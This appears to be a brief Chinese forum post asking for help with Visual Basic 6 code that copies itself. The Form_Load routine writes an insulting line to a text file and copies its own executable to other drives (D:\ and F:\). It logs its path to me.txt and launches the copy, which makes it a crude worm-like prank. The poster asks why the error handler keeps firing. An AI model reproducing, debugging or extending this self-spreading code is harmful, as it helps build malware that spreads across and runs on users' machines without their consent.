vb文件自我复制
Private Sub Form_Load()Open "E:\me.txt" For Output As #4
Print #4, "you; are idiot!; "
Close #4
On Error GoTo cw
digfile = "D:\"
If Dir(digfile & App.EXEName & ".exe") = "" Then
FileCopy App.Path & "\" & App.EXEName & ".exe", digfile & App.EXEName & ".exe"
digfile = "F:\"
If Dir(digfile & App.EXEName & ".exe") = "" Then
FileCopy App.Path & "\" & App.EXEName & ".exe", digfile & App.EXEName & ".exe"
Open digfile & "me.txt" For Output As #1
Print #1, App.Path & "\" & App.EXEName & ".exe"
Close #1
Shell digfile & App.EXEName & ".exe"
ElseIf Dir(App.Path & "\me.txt") <> "" Then
Open App.Path & "\me.txt" For Input As #2
Input #2, strs
Close #2
End If
End If
Exit Sub
cw:
Unload Me
End Sub
自动生成me.txt
实现me.txt的自我复制
但每次在容错语句出现错误
